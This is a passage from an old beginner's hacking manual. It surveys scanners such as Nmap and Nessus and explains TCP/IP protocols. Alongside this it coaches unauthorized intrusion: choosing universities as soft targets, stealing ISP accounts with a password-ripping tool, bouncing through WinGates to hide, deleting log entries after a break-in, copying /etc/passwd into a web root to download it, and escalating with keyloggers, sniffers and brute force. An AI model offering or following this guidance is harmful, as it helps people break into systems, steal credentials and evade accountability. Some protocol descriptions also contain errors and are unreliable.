•	SATAN and SAINT.  SATAN (System Administrator’s Tool for Analyzing Networks) is a UNIX based exploit scanner.  It looks at daemons bound to ports and queries for specific CGI files to determine possible break-ins for  you.  Basically, you type the IP address of your victim, and it scans aggressively for known vulnerability.  Then, when it finds one, it prompts you with tutorials on how to exploit them.  SAINT is an updated version of SATAN.  These programs are a must for serious hackers, and alone are enough to make installing UNIX on your computer worth while.
•	
•	Nmap.  Network Mapper is also for the UNIX platform.  It’s a port scanner, but a very powerful one.  Most port scanners simply telnet to every port to see what’s open, using the standard connect() system call.  Nmap is capable of a variety of scan types, including the half-open scan, the Xmas tree scan, and many others.  These types of scans don’t telnet to ports.  They exploit the way TCP/IP works to report the status of TCP ports without making a full connection.  This is handy for two reasons: one - you’re IP address isn’t logged since you never made a full connection, and two - these kinds of scans will pass through some firewalls, allowing you to scan protected computers.  Nmap is not for newbies.  You’ll need to learn much about TCP/IP (specifically, flags, such as SYN, ACK, and RST) to understand how Nmap works and how to use it.  But don’t let this intimidate you.  Install Nmap on your Linux partition and play with it a bit - you’ll learn valuable TCP info.  Numerous Nmap text files explain how to use it, along with the manual that comes with it.  This is another must-have for elite hackers.  Get it at www.insecure.org.
•	
•	Nessus.  This program is similar to SATAN, but for NT.  A variety of plugins exist for Nessus, which keep it updated on new exploits.  When you scan a host with Nessus, it will tell you what ports and/or CGI scripts are vulnerable, and will give you more info on these exploits.  For more info on what exploits actually are, and how to find and use them, wait for later sections of this manual.
•	
•	Keeping from getting caught
•	Hacking is a gray area, as far as what exactly is legal, and what exactly isn't.  Even if you follow the hacker code of ethics (never harm), you are still quite possibly braking one or more laws.  Let me just say that if you are already on a system, with someone else's login name and password, you are blatantly breaking a few laws.  Nuking is also illegal.  IP and port scanning are not illegal, though they definitely cause suspicion.  In the past, measures to keep oneself safe included hacking from payphones, splicing your neighbor’s line, 'bouncing' your call (explained later), and even using programs such as Modem Jammer.  Now, you might want to use one or more of these methods to keep from being physically traced (though modem jammers don’t work anymore), and another to keep from being traced over the Internet (to your ISP).  The best and probably easiest way to do this is use someone else's account, preferably on a different ISP.  This is much easier to do that one might expect.  Shouldersurf someone typing in their login/password, do a little social engineering (explained later), or even brute forcing to get a valid account.  There are even programs out there that if run on a machine used to access the Internet via a dial-up (with an ISP) it will give you the password.  One such example is Dripper (available at The CyberUnderground).  As far as physically tracing you goes, if you are using someone else's account you are sort of safe.  If you have hacked into a system with a low-level account (a 'guest' account, for example) and just got yourself root (see definition above), you should seriously consider adding a few methods of security before reconnecting.  To hack from a payphone, get an acoustic coupler for your modem, set the receiver on it, and just dial out.  Bouncing your call means basically calling a modem somewhere that is designated as an 'outdial', meaning once connected, any modem commands you issue will go to it, so you can dial from it somewhere else.  If you are traced - it will be to that modem.  This can be defeated though, so its a good idea to bounce calls off a few outdials.  Outdials are pretty hard to find, but are most common on X.25's and other PSN's (for more info on outdials, read any other hacking text, like "The Neophite's Guide to Hacking," or "The Newbie's Handbook."  
•	
•	Shell Account Bouncing
•	Anther security method (similar to bouncing your call) is bouncing your IP attack.  Meaning - telnet to system that supports telnet itself (usually UNIX) - then telnet to your target.  Finding and obtaining access to one of these is difficult for a new hacker, so I'll go into greater detail on this later.  
•	
•	Wingates
•	Another effective method to having your IP address logged into the system you're connected to (and thereby "busted,") is bouncing your packets off a WinGate host.  WinGate is a server software program that acts kind of like a proxy server and firewall all in one (see above for definitions).  As with a generic proxy server, all computers in the office that the WinGate computer is in connect to it to get to the Internet - and you can do the same.  All you need is the IP address or domain name of a WinGate host.  Telnet to it, and type the IP address you want to get to at the prompt you get.  The IP address of the WinGate box will be logged as you connect - not your own.  What's even better is that Wingate's don't log (keep track of) who connects to them.  Unless, of course, the sysadmin uses some third-party software to monitor network traffic.  Finding WinGates is very easy - just go to any hacker website (www.cyberarmy.com is a good one) and look at their database of WinGate's.  You'll have to weed through lists of bad WinGate's though, so you may be better off getting a WinGate scanner and doing it yourself.  If you're really smart, you'll bounce your packets off a few WinGate's before getting to your target.  
•	
•	Proxies and Anonymizers
•	If someone is 'using proxies' to be stealthy, he is simply connecting to web pages (and possibly FTP, Gopher, etc) through a proxy server.  Check the description in 'A Little Hacker Lingo.'  Publicly accessible proxies (or proxies that the owner doesn't realize are accessible by the world) can be connected to and made proxy all requests.  Meaning if you use proxy1.ozemail.com.au as your proxy server, then surf over to www.yourtarget.com - you don't directly connect to yourtarget.com.  Instead, you connect to proxy1.ozemail.com.au, inform it that you want to surf yourtarget.com, and it fetches you that html file.  The proxy's IP address is logged on your target during the connection, since it was the one who actually connected to it, and not your own.
•	CGI Anonymizers are nothing more than proxy servers as well.  Www.cyberarmy.com has an anonymizer for you to surf anonymously with.  Also, if you use these URLs:
•	
•	http://proxy-mail/mailcity.lycos.com/bin/redirector.cgi?http://
•	
•	You can use Mailcity’s  proxy server to surf anonymously.  (These are the proxies used when you click a link while at Mailcity.)  Non-CGI proxies must be entered in your Internet connection settings (of IE or Netscape). 
•	
•	Filched ISP Accounts
•	The best way to hide your identity, though, is with a stolen account.  Use Dripper or some other Cache Ripper to get the Dial-Up Networking password from someone you don't like.  Or, sign up for some free ISP service (NetZero, Altavisa Free Access, or WorldSpy) and give fake account information to get an account that's not attached to you.  Make sure that you're using proxies when you sign up, or they'll know who you are when you sign up.
•	
•	Covering Your Tracks
•	Remember: all computers keep logs of activity.  Once you break in, open the logfiles and delete any entries that involve you (especially ones that logged your IP address).  In UNIX systems, look for logs in /var or /var/adm.  In NT, look in \winnt\logs or \winnt\system32\logfiles or in a directory of a particular service (eg: HTTP or FTP).  Program also exist that will cover your tracks in logs, such as cloak.c for UNIX (available at TCU).
•	As a rule of thumb, the amount of security you should be using is directly related to the seriousness of your hack.  Though, you could be breaking many federal and state laws without even being close to having root access, and not even quite sure what you are doing.  Always be at least a little paranoid: you'll last longer in the h/p world.  It cannot be stressed enough: be as safe as possible.
•	
•	TCP/IP and the Client/Server model
•	If by this point you're completely lost, you might want to read some other basic computer stuph before venturing on here.  If not, roll up your sleeves: you're about to learn the very heart and soul of the Internet and Hacking today.
•	
•	TCP/IP
•	Transfer Control Protocol/Internetwork Protocol.  The 'language,' or means for which packets are exchanged over the Internet, or any intranet.  TCP/IP is a set of rules and regulations that specifically define exactly how data is transferred between computers on a network.  TCP is the upper-level protocols (explained shortly) like Telnet and FTP.  IP is the lower-level protocol, used for routing data over a network.  Hence the term 'IP Address.'  TCP/IP has several sub-protocols, known as the TCP/IP protocol suite.  To utilize any of these subprotocols, you just need a client of that.  For example, Windows 95 and above has a built-in FTP and Telnet client (a client, when referring to a protocol, is a program that lets a user utilize that protocol).  In this section I will explain each of these subprotocols, and other protocols used over the internet.  
•	
•	Client/Server
•	One concept that it is imperative you understand is the Client/Server model.  Every protocol is utilized with software.  For example: HTTP (Hyper Text Transfer Protocol, the protocol used to transfer HTML web pages to and from your computer [this is why it is at the beginning of URL's you visit] ).  This protocol is put to use by software.  This software has two pieces, a client side and a server side.  When you type in a URL or click on a link, you are using a HTTP client software program (a browser) to request a copy of a particular web page.  Then, the server of the URL you requested has HTTP server software, that receives the request (in the form of data packets), and provides you with a copy of it, by sending it back to your computer.  A server side software package is also called a service or daemon, and is accessed via TCP ports.  A port is a "virtual channel" used to transfer packets of a specific protocol between a client and a server.  When you hear the term 'portscanning,' what is being referred to is the scanning for protocol, or services.  Also, each port (service installed on the server in question) has a number assigned to it (eg: telnet is generally number 23).  At any rate, think of client side software as the requestor, and the server side software as the provider.  Any time you make a connection with a machine on the web (with Telnet, Internet Explorer, or whatever), your client is talking to that server via a common protocol.
•	
•	TCP Subprotocols, and other Protocols
•	
•	PPP
•	There are many protocols, most of which discussed here are used over the Internet's high-speed digital lines.  However, there are lots of protocols used over regular analog phone lines, used before the Internet was a major computing tool.  These include Kermit, Xmodem, Ymodem, etc, and all have parallels in the TCP/IP protocol suite.  However, the only "analog phone line" one I'll cover is PPP.  PPP (Point to Point Protocol) is the protocol used to connect to your ISP's server, who intern sends and receives TCP/IP packets over the internet for you.  SLIP is similar, but not as effective or as widely used.  Basically, the way you are able to communicate with the digital network of the Internet is that your ISP translates TCP/IP packets to PPP (actually encapsulates) so they can travel over phone lines, and vice versa.
•	
•	Telnet
•	Let's start at the basics - on, say, a UNIX platform, there is one or more UNIX boxes - the computer that does the processing and holds all the data (files, applications, the OS, etc) which is the computer on the network that you are most likely trying to hack into.  Then there are a slew of dumb terminals directly connected to it.  A dumb terminal consists of nothing more than a monitor and a keyboard - everything a user types/does on a dumb terminal is handled by the UNIX box.  Now, telnet is a protocol/application that allows people to connect to a computer remotely (over a phone line or the Internet) and process data locally - meaning when you connect to a UNIX box via telnet, it just as if you were at a dumb terminal directly connected to the UNIX box.  Telnet is the protocol you will be using to access the computer you are hacking into.  You can also telnet to a port other than 23.  Most client / server protocols send data back and forth with various commands defined in that protocol.  You can telnet to a port and issue these commands by hand, and the daemon will send commands back to you thinking you're a client.  For example, when you type this in on your browser:
•	
•	http://home.cyberarmy.com/tcu/underground.html
•	
•	your browser connects to port 80 (HTTP, the port used for transferring of web pages) of home.cyberarmy.com and sends this command:
•	
•	GET /tcu/underground.html
•	
•	in order to view that web page.  You can telnet to port 80, issue the same command, and you'll get the html file sent to your telnet client (just as it would be sent to your HTTP client, your browser).  Kool, eh?
•	
•	FTP
•	File Transfer Protocol.  This is the protocol used to transfer files between computers over the Internet.  Whether you are downloading password files or uploading changes to their HTML files, you will do it through FTP.  To start an FTP session, you need to log in to the service with an FTP client, just as you would with Telnet.   More on this later.  Incidentally, the later browsers from Netscape and Microsoft have an FTP client built in.  To use it, type 'ftp' instead of  'http' in your browser.  FTP has more commands than just to send and receive.  Type 'help' to get help from your client, or 'remotehelp' to ask the server for what commands it accepts.  Also, if you telnet to an FTP port, you can log in, but without the right client that understands the FTP 'language,' you won't be able to transfer files.
•	
•	SMTP
•	Simple Mail Transfer Protocol.  This is the protocol used to send and receive email.  If you connect to a SMTP port (by telnetting into it) you can issue SMTP commands.  When you send an email, along with the actual letter go along its protocol.  This means that the SMTP packets (made up of your letter and other protocol-specific data) connects to port 25, and issues the appropriate commands to the SMTP service in order for the letter to reach its recipient.  You can also connect to this port and issue these commands manually.  The use of this could be sending email and changing the sender address to someone else (possibly the recipients employer).  Also, with the VRFY command, you can find out whether or not a particular account (login name) exists on the network in question.  Actually, you can telnet to port 25 of a machine and actually send someone email.  Just enter the commands that an email client would - use the HELP command to familiarize yourself with the various SMTP commands.
•	
•	HTTP
•	Hyper Text Transfer Protocol.  This, again, is the protocol used to transfer HTML pages back and forth between two computers.  If you see an open port 80 (www), this machine has a web site.  SSL is the encrypted version of this - see the Crypto section above for more about SSL.
•	
•	Finger
•	This protocol (also a UNIX utility) is used to obtain information about users on a remote machine.  With a finger client, you can see who's logged on currently, and can find specific information about a specific user.  Having finger on a UNIX machine is a very bad idea.  Anyone with a finger client (or anyone who wants to telnet into the finger port) can find out who's logged in, get a list of users for that computer, and get info on specific users.  If your client can't talk to the daemon, telnet in, and hit enter once or twice.  Try typing '@' or 'finger' or something similar to get a response.  Then, type in usernames that you find and hit enter.  All this valuable info, without ever logging in - very useful to the hacker.  If ever you find an open finger port, use it.  It could just be the point of entry you were looking for.
•	
•	DNS
•	Domain Name Service.  If a computer has this port open, it generally means that this particular computer is a domain server of that network (the spokesperson, if you will).  These computers act as the spokesman for that particular domain.  They hold the DNS table, which translate hostnames into IP addresses, so when you connect to www.someserver.com, it knows what IP address you're talking about.
•	
•	NBT
•	This stands for Net BIOS over TCP/IP, and is what Windows networks use.  Another name for this is 'nbsession,' (Net BIOS Session Service) which generally indicates Net BIOS used over a Wide Area Network (such as the Internet), being that Net BIOS by itself (without TCP/IP) cannot be used over a WAN.  This protocol is used in conjunction with ports 135 and 139.  The clients for these ports is the Client for Microsoft Networks.  You'll learn how to use it in the NT section.
•	
•	SNMP
•	Simple Network Management Protocol.  Used to diagnose and manage networks.  Utilities like ‘netstat’ for UNIX use this lightweight protocol.  Certain NT applications of SNMP are vulnerable - check your local exploit archive for more info.
•	
•	NCP
•	Netware Core Protocol.  Just that.  This isn’t a TCP/IP subprotocol.  Actually, its usually used in conjunction with SPX/IPX (Sequential Packet Exchange, Internetwork Packet Exchange), Novell’s routable protocol.  
•	
•	Net BIOS
•	This protocol is a very lightweight one, used for smaller LANs.  Its not routable (meaning by itself, cannot be used to connect networks, or used on the Internet), primarily because network addresses are nothing more than computer names.  Windows networking relies largely on Net BIOS, but its also used with OS’s such as UNIX sometimes.
•	
•	NetBEUI
•	Microsoft’s NetBEUI (Net BIOS Extended User Interface) is what you’re using when you browse your network neighborhood.  NetBEUI uses UNC’s (Uniform Name Convention) to locate resources.  A UNC looks like: \\computername\sharename\path.  With this format - you can access any data on your NetBEUI (or TCP/IP - if it’s a Windows network) network.  More on this later.
•	
•	UDP
•	UDP - Uniform Datagram Protocol.  This protocol is actually used in place of TCP for some applications.  TFTP, for example, uses UDP.  So does SNMP.  UDP encompasses many subprotocols, just like TCP does - so its not actually a TCP subprotocol either.  Some network utilities you’ll use will actually use UDP (UDP over IP, as opposed to TCP over IP), but the difference is transparent.  Get yourself a networking book for more on these kinds of things.
•	
•	POP3 and IMAP
•	These are used for email.  POP3 (Post Office Protocol version 3)stores and retrieves mail on a server.  IMAP requests them - in some cases.  For example: when you use Outlook Express to download your email, you’re getting it from a server with POP3 on it.  If you use a web-based email provider such as Hotmail or Mailcity, you view and manipulate it with IMAP.
•	
•	SSH and SSL
•	SSH (Secure Shell) is basically just encrypted telnet sessions.  SSL (Secure Socket Layer) is encrypted HTTP.  To use SSL with IE or Netscape, type https:// instead of http://.
•	
•	AppleTalk and AppleShare
•	These are not TCP subprotocols.  They are used by Mac networks, but can be implemented over IP (to connect to the Net).  The ‘Miscellaneous OS’s’ section goes over this a little.
•	
•	These, along with many other protocols are used regularly over the internet as well.  It is not in the scope of this text to explain them all, so I encourage you to research them and the others I've covered in more detail.
•	I could cover pages and pages of TCP/IP stuph.  As you gain a bit of experience in this craft, you will need to learn more about this.  For now, just understand that when you do anything on the Net, whatever program you're using sends packets in the appropriate command form (TCP/IP commands) across the cable connections that make up the Internet.  And of course, TCP/IP conforms to the OSI model - the backbone of every network protocol, the way everything communicates digitally.  Go out and read about OSI - you'll appreciate it later.
•	
•	Getting Started - Your first night as a Newbie
•	Okay - you've found the network/system that you want to hack.  What's first?  Find out which of these protocols the target supports.  Can you telnet to this computer?  Can you FTP to it and copy files from it?  To find out, you will need to run a portscan on it, with you portscanning utility.  Just type in the URL or IP address of the machine in question, and start scanning.  You will be shown what protocols (TCP/IP subprotocols and others) the target has.  It will not, however, tell you that it supports TCP/IP, because, to put it simply, it has to have TCP/IP to be on the Internet.  What you are looking for here is services - these TCP/IP subprotocols and other services/ports.  Do not let the term port mislead you - we're not talking about physical ports.  If you don't understand this first step, reread the TCP/IP section.
•	Now, if the portscan indicated that the target machine supports telnet (port 23), you can telnet to it, and attempt to log in.  Go ahead - try it.  You'll need a valid username/password combo to get it, which we'll get to later.  
•	If port 21 is open, that means that the machine supports FTP, and files can be transferred back and forth from it.  But, like access via telnet, you'll need a login name and password.  A default "anonymous" account is ftp/ftp for a username/password, so go ahead and try that.  If this works (and don't be surprised if it doesn't), you won't have much in the way of access privileges (meaning you'll be able to look at files, but usually not copy files to your computer, and most likely not copy files to it).  If you can anonymously log on, you at least have your foot in the door, and can possibly use this as a stair stepping to get further into the system.  More on this later.  Once logged on via an FTP port, commands to jump around from directory to directory and copy files is very DOS-like (actually more UNIX-like than DOS, but if you know a little DOS, you should feel comfortable navigating the system).  Type 'help' or '?' for a list of commands.  When you do this, you are accessing a help file on your computer.  To access the help file on the computer your on (which is usually more extensive and has commands specific to the computer your logged on to) type 'rhelp' or 'remotehelp,' or something similar.  Or you could telnet to the FTP port and type 'help.'  FTP is the only way to transfer files between the target computer and yours - which you will need to do to get password files, change their website ('this site has been hacked by Kurruppt2k'), upload exploits, or whatever.  More on this later.  One last note on FTP - you can telnet to an FTP port, and log in.  However, since you are not using an FTP client, you will not be able to do much once inside (like get directory listings or download files) because your telnet program does not follow the rules and guidelines (protocol) specified in FTP.  Again, you can telnet to any port, but if the right commands are not issued (usually done by your client program), you may not get anywhere, and may even be disconnected.  Telnetting to ports that you aren't sure what are, though, is a very good way to learn about the computer you are targeting, and is usually necessary to break in.
•	Now, if your portscan turned up either 'www' or 'http,' that means that you've found the computer that has all the HTML files (website files) that contain this organizations website.  This really is only relevant if you are attempting to break into the target's website.  To do so, you'll need access to the index.html or default.htm file (usually only accessible to superusers, or root accounts), and will have to FTP the page you will replace theirs with, and replace index.html with your own.  Doing this, though, could be considered cracker-like, and slightly malicious.  This also tends to piss sysadmins off, and may drive them to attempting to find you - so be careful!
•	A last few notes on TCP/IP.  You need to understand the structure of a URL, and of an IP address.  Every computer on the Internet is designated by an address.  The addressing scheme (IPv4) looks something like this: 38.233.203.2.  Generally, the very last number is the node address, or the computer's address.  The rest is usually considered the network address (depending on the Class - read a document on IP addressing for more info).  Each number  between the decimals (called an octet) can be from 1 to 254.  So the IP address is in the 38.233.203 subnet.  The last number, again, specifies the computer in that subnet.  So if you wanted to see what other machines were on that subnet, you would scan from 38.233.203.0 to 38.233.203.254.  Now, each IP address can also have a name.  If 38.233.203.2 belongs to the netscape.com domain, it might be www.netscape.com, or mail.netscape.com, or something similar.  So when you type www.netscape.com to visit its website, you could also type http://38.233.203.2 (assuming that was its IP address).  Which brings us to the URL.  Here is a typical "web address":  http://www.microsoft.com/servives/windowsNT.   The http:// specifies the protocol used.  You could also replace it with ftp:// or even telnet://.  (Note: to log in via ftp with your browser, use ftp://username:password@www.yourtarget.com.)  The www.microsoft.com is just the computer name.  The DNS protocol handles resolving the name into an IP address.  The /services/windowsNT is the path to the file you are requesting (index.html or default.htm, if none other is specified), just like a path on your computer (with foreword slashed instead of backslashes).  
•	Webservers usually have what's called a wwwroot directory.  This is the root of the browsable machine.  Meaning the path on the machine itself:
•	
•	/texts/wwwroot/images/source.gif
•	
•	of the computer www.gateway.com is:
•	
•	http://www.gateway.com/images/source.gif
•	
•	This is important.  The root to you, the browser of a webserver, isn't the actual root of the system's hierarchy.  Why?  So people browsing can't access the entire machine - just the web pages and stuff that the webmaster wants you to see.  So lets say you cracked a UNIX machine with a non-root account, and wanted to download the password file of the Gateway computer above.  The file is (in this case) /etc/passwd.  To download it, you'd copy it to /texts/wwwroot.  So its actual path is /texts/wwwroot/passwd.  But its URL (to anyone browsing the server) would be www.gateway.com/passwd.  So you'd just type that into your browser to download the password file, and you're off to cracking it.  Of course, doing this without proxies or a stolen ISP account will get you traced and busted right away.  
•	
•	You're First Hack
•	Okay, you now should have enough preliminary knowledge to start your very first hack.  Pick a target.  Universities usually have somewhat lax security.  Pick something relatively easy for your first time.  Stay away from government networks and those belonging to large businesses and corporations.  The very first step is finding the domain name of your target.  If your target is www.spicegirls.com, the domain name is simply spicegirls.com.  
•	
•	Step one - Intelligence Gathering
•	Every successful hack starts with a little preliminary investigation.  The more information you have about a specific domain, the better armed you are.  Open a notebook and start an "info collection" of your target.  First, visit their website.  Try to view every page, and write down anything of importance.  Copy down all email addresses - as these are also usually valid login names.  Write down anything else of relevance.  Look at the source HTML and see if there are links to other computers you didn't know about.  Next run a whois and nslookup on the domain, with your appropriate utility (available at The CyberUnderground).  This will give you very useful information.  You'll get the domain’s nameservers, the administrator, and a few more email addresses, other computers on the network, and other useful stuff.  Copy everything down.  Another trick is sending an email to the domain with a username that you know doesn't exist (eg: blablabla@yourtarget.com).  The SMTP service of whatever server is designated as the primary mail server of that network will return a letter to you saying that there is no such user.  In the header of this email will also be some useful information - copy it all down.  
•	
•	Step two - Network Scanning
•	Next you should try to get a scope of what kinds of computers are on the outside of this network (by outside, I mean what machines are "on the Internet," and not behind a firewall or proxy server).  To do so, you will scan the subnet with your trusty IP scanner.  Again, a subnet is every computer (numbers 1 through 254) on a particular range of IP addresses.  For example, 253.87.8.3 and 253.87.8.45 would be on the same subnet, whereas 253.87.8.45 and 253.87.11.12 are not.  (Actually, class C subnets are often-times broken up even further - read an RFC on IP to learn all about IP addressing, packet structure, etc.)  To scan the subnet of your target, do as follows.  Ping the hostname (your computer should have a ping utility, as do most of the hacker programs you should already have).  This will give you the IP address.  If the IP address is 253.87.8.45, scan the entire subnet, which would be 253.87.8.1 through 253.87.8.254.  This will tell you every computer on that subnet - their IP address’s and hostnames if applicable.  If you already know of two computers on different subnets, scan both.  Now, write down each computer you found and their IP addresses, along with any relevant notes.  When you're done, you should have a list of each (or most) of the servers on your target's network, not behind a firewall/proxy server, and accessible to you.
•	
•	Step Three - Point-of-Entry Determination
•	Now that you know what servers are on this network, you need to find out what kinds of computers they are: what OS's they are, and what services are running on each.  So what do you do next?  You guessed it - you'll scan for services, or ports, on each computer you found.  Use your portscanner and scan each computer you wrote down.  Think of each service running on a machine is like a door that you might be able to break in through.  Below I'll explain methods to use to possibly "break and enter" through each "door."  Now, to get in, and have the power to actually do things and explore the network, you'll need to telnet or NetBEUI into one of the machines.  This is usually the last step of hacking your way in, and you'll need a username and password to do so (or an exploit, which will be explained shortly).  You'll hack into other ports in order to get these usernames and passwords.  Now, a username and password that works on one machine of the network will usually work on all on that same network, so if you get passwords from one computer, you can use them on a different one to get in.  Also, if there are no telnet ports, you can still (sometimes) log in via FTP.  You won't be able to do much (like run any programs on the computer), but you will be able to look around and upload or download files from the computer.  What steps to take here entirely depend on the Operating System of your target.  Some networks you'll find will have a variety of OS's, some will have just one.  Here is a list of ways to fingerprint computers - find out what their OS is.
•	
•	Server Fingerprinting
•	If port 23 is open, its probably UNIX.  Telnet to it to find what flavor (BSD, Solaris, etc).  It is important!
•	If port 135 or 139 is open its probably NT.  At a DOS command prompt, type:
•		c:\nbtstat -A [ip address] 
•		If you get a response other than 'host not found,' it's definitely NT (or possibly Windows 9X).
•		More on what this nbtstat stuff means in the NT section.
•	If none of the other ports are open, try telnetting (or FTP-ing) into port 23, and give the command:                        
•		ftp>SYST 
•		Without the prompt (just 'syst').  This might tell you the OS of the machine, or at least if it's UNIX 
•		or NT.  Sometimes you have to log in before giving this command, sometimes not.
•	If port 80 is open you can telnet in and issue this command:
•		GET / HTTP/1.0
•		To find out the webserver running.  You'll probably want to turn on your telnet logging, because 
•		the info will fly by your screen really fast.  If the webserver is IIS - the machine is NT.  If the 	webserver is Apache - the machine is UNIX (probably Linux).  Otherwise, look up whatever 
•		webserver is running to find out what OS its for.
•	If ports 21, 23, 80, 135, and 139 are all closed, there's no easy way to find the OS.  But then, without at least one of these ports being open, you probably won't be able to hack in either (these ports are the primary means you'll get in) so pick a different computer to try and break into.
•	
•	The Kinds of OS's you'll run into are pretty much just NT Server (along with an occasional NT Workstation and Windows 9X box), and UNIX.  At least once in a while, though, you'll run into a Netware box, and even a mainframe wired to your target's network.  That means to become elite, you'll have to learn a handful of operating systems.
•	
•	UNIX
•	UNIX machines are the backbone of the internet.  The OS and TCP/IP were crafted pretty much simultaneously, with each other in mind (where else can you send an entire email in one command?).  For example, Internet email addresses are username@computer.com because inter-UNIX messaging was in that form.  The vast majority of the computers you'll come across on the Internet will be some flavor of UNIX, be it BSD, Solaris, AIX, Linux, or whatever.  UNIX systems are set up to be multiuser.  There will be a UNIX box with lots of dumb terminals (monitors and keyboards with no boxes of their own) directly hardwired into it.  Each person who is authorized to be on a dumb terminal (or access the box via telnet) has an account on that system, and probably on each machine on that subnet.  Their account has their own directory (folder), which is the same as their username.  As soon as they log in, they will be placed in that directory, or their home directory.  Every file and directory in a user's home directory belongs to that user, be it a text file, program, or whatever.  Also, every user belongs to a group.  This is important, because it is a fundamental of how permissions work.  
•	
•	Not every user is allowed to read every file on the computer, change every file, and run every program.  To list the files in your pwd (present working directory, the "folder" your currently in) type 'ls' (without the quotations).  This is equivalent to the 'dir' command in DOS.  Type 'ls -a' to see all files, including hidden ones (files that start with a period).  To see the permissions of the files in your pwd, type 'ls -l'.  This will tell you the permissions of that file, including who owns it, and what group that user belongs to.  Permission categories are set for read permissions (the ability to read the file), write (the ability to make changes to the file), and execute (the ability to run the program).  Each category is set for the owner of that file (user), everyone in that user's group (group), and then for everyone else on the system (other).  When you issue an ls -l for each file will be listed a ten character string.  The first character will be a dash (-) if its a regular file, a 'd' if its a directory, or an 'l' if its a symbolic link (kinda like a windows shortcut).  Other less common letters may appear, which I won't cover.  The next nine characters are broken up to three sets of three.  The first three apply to 'user,' or the owner of that file.  Each of the three characters represent either an r for read, a w for write, or an x for execute.  If they have permissions to read, write, or execute that file, the corresponding letter will appear, if not, a dash will.  The next set of three characters apply to the file owner's group, with r, w, and x in the same manner.  And the last set of three are for 'other,' meaning the permissions (r, w, and x) for everyone else on that system.  So a permissions string of -rwxr--r-- means that its a regular file (not a directory or link), that the owner of that file can read it, make changes to it, and execute it.  Also, we see that the group that the user belongs to can also read the file (but not change or execute it), and that everyone else can read it but nothing else.  
•	
•	UNIX is set up much like DOS, in that there are directories with subdirectories, and a root directory.  Instead of C:\tools\ftp you would see /tools/ftp.  The slashes are foreword instead of back, and there is no drive letter - root is simply:
•	
•	/
•	
•	Another similarity between UNIX and DOS is the idea of writing a file containing a list of commands to be ran in order.  If you're familiar with DOS batch files (.bat or .cmd for NT), UNIX shell scripts work the same way.  Use vi or some other editor to write commands one line at a time.  To execute them, use chmod to make them executable, or type:
•	
•	sh shellscript
•	
•	where sh is the shell you want to execute the script, and shellscript is the script itself.
•	Oftentimes, if you find a UNIX machine on the Internet, it is connected to a variety of other computers.  What's more exciting is that the UNIX machine you just broke into may be directly connected to another, more secret UNIX computer that was behind a firewall (meaning that you normally wouldn't be able to just telnet to it from your home computer, and it probably didn't show up on a subnet scan).  If you telnet from your hacked UNIX account, to another UNIX machine, your source IP address becomes that of the UNIX machine you are on (this is often done to deter authorities from tracing a hack).  So lets pretend you run a subnet scan on your target network, looking for a computer called secret.network.com.  Among others, you find comp1.network.com, comp2.network.com, and comp3.network.com.  But no computer named secret.  And if you try to telnet to secret.network.com, you're connection lasts only a split second.  Firewall.  After a few hours of plugging away gets you a rootshell on comp2.  You then telnet from comp2 to secret, and are presented with a logon prompt.  Why can you now connect to secret?  Because your IP address is now comp2's, meaning secret is set up to allow connections from computers only on its network - and it thinks you are comp2.  For a list of connected UNIX machines, look at /etc/hosts.
•	When you first log into a machine with a username and password you 'hacked,' find out what group that account belongs to, and get a feel for what kinds of stuff you have access to, and what you don't.  If you find yourself with just about zero access to anything fun, you'll have to use the account you have to obtain one with more privileges.  Here are a few ways to do that.
•	
•	UNIX Stair-stepping
•	Get the unshadowed password file.  More on this in the 'Unbeleivable...A Hacker!' section.
•	Find a vulnerable program to exploit (such as a buffer overflow - more on this in 'Unbeleivable...A Hacker!').
•	Install a keylogger or network sniffer.
•	If the only password file you can get is shadowed, use it and the finger command to get a list of usernames, and Brute Force the system.
•	
•	In order to better hack a UNIX system, you'll need to know your way around one.  Here is a basic list of directories in UNIX, and what you might find in them.
•	
•		/	The root directory.
•		/dev	Device files (in UNIX, every physical device is represented by a file, like hda for the first 
•			hard drive, and tty for terminals).
•		/etc	The system Directory - all kinds of stuph, including the password file (usually).
•		/usr	Usually holds user's home directories.
•		/u	Also can hold user home directories.
•		/lib	Holds library files - .h files which are like DLL's for C programs.
•		/var	Holds system logs - go here to clean up your tracks.
•		/pub	The public directory.
•		/root	Root (the superuser) home directory
•		/bin	Binaries - compiled programs like sh, telnet, and most commands
•	
•	Of course, you'll find many more directories and subdirectories than this.  This will just give you an idea on how to navigate a UNIX environment.  Also, Appendix B has a list of UNIX commands.  
•	It's important to know that different commands work differently under different shells.  Yes, UNIX has multiple shells.  If you're used to DOS, this may be a bit confusing at times.  As I said the description of 'shell' in the 'A Little Hacker Lingo' section, a shell is an interface to an OS.  The kernel of any OS is the heart of it - the brain.  The shell is the interface to it - the program between you and the kernel.  The shell accepts commands (either command-line or GUI commands, like double-clicking something) and interprets the commands into something the kernel can understand and execute.  UNIX is a very versatile OS, and has multiple shells for multiple ways of interfacing the system.
•	
•		/bin/sh		The Bourne Shell - the first (and most basic) UNIX shell.
•		/bin/bash	The Bourne Again Shell - good for beginners.
•		/bin/csh		The C Shell - csh commands are similar to the C programming language.
•		/bin/zsh		The Z Shell - more programmer friendly.
•		/bin/tcsh		The TC Shell - similar to the C Shell.
•		/bin/ksh		The Korn Shell - similar to the Z shell.
•	
•	There are a few more, but these are the most common.  To find out what shell you're using, type the command:
•	
•	echo $SHELL
•	
•	(Note: the $ indicates an environment variable, which work similarly to environment variables in DOS only a variable looks like $var instead of %var%).  Also, redirectors and pipes work the same for most shells.  Here's a quick explanation on special characters for UNIX:
•	
•		>	Redirector - sends output of a command to a text file instead of stdout - your monitor.
•		<	Redirector - inputs data from a text file instead of stdin - your keyboard.
•		|	Pipe - the output of one command is sent as input to another.
•		&	Ampersand - sends a process to the background and gives you a prompt back.
•		!	Exclamation - sends commands to the parent process / shell.
•	
•	For more info on UNIX, get a UNIX book, or read the UNIX Bible text file (available at The CyberUnderground).  This is one operating system that you will need to know, and well, if you plan on becoming leet.
•	
•	Hacking UNIX
•	To break into a UNIX box requires a few things.  First, you need to know what flavor it is.  These include Linux, NetBSD, FreeBSD, OpenBSD, System V, SunOS, Solaris, AIX, Digital UNIX, HP-UX, SCO Unixware, IRIX, and a few others.  Of each of those are various different version numbers as well.  If the login prompt won't tell you, an FTP SYST may, otherwise you'll have to get in to find out.  
